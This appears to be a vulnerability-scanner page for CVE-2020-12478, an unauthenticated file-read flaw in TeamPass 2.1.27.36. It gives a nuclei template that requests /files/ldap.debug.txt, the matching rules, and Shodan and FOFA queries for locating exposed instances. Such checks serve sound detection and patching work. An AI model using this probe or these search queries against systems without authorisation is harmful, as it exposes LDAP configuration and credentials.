TeamPass 2.1.27.36 - Improper Authentication

highseverity

7.5CVSS score

8.6%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

TeamPass 2.1.27.36 is susceptible to improper authentication. An attacker can retrieve files from the TeamPass web root, which may include backups or LDAP debug files, and therefore possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

Impact

An attacker can bypass authentication and gain unauthorized access to sensitive information.

Fix

Upgrade to a patched version of TeamPass or apply the recommended security patches.

How to confirm it

Send: GET {{BaseURL}}/files/ldap.debug.txt
Positive when: contains "Get all LDAP params" AND contains in header "text/plain" AND status 200

Run it with nuclei: nuclei -id CVE-2020-12478 -u <target>

The full check

id: CVE-2020-12478

info:
  name: TeamPass 2.1.27.36 - Improper Authentication
  author: arafatansari
  severity: high
  description: |
    TeamPass 2.1.27.36 is susceptible to improper authentication. An attacker can retrieve files from the TeamPass web root, which may include backups or LDAP debug files, and therefore possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can bypass authentication and gain unauthorized access to sensitive information.
  remediation: |
    Upgrade to a patched version of TeamPass or apply the recommended security patches.
  reference:
    - https://github.com/nilsteampassnet/TeamPass/issues/2764
    - https://nvd.nist.gov/vuln/detail/CVE-2020-12478
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/StarCrossPortal/scalpel
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-12478
    cwe-id: CWE-306
    epss-score: 0.08552
    epss-percentile: 0.95106
    cpe: cpe:2.3:a:teampass:teampass:2.1.27.36:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: teampass
    product: teampass
    shodan-query: http.html:"teampass"
    fofa-query: body="teampass"
  tags: cve2020,cve,teampass,exposure,unauth,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/files/ldap.debug.txt"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Get all LDAP params'

      - type: word
        part: header
        words:
          - "text/plain"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from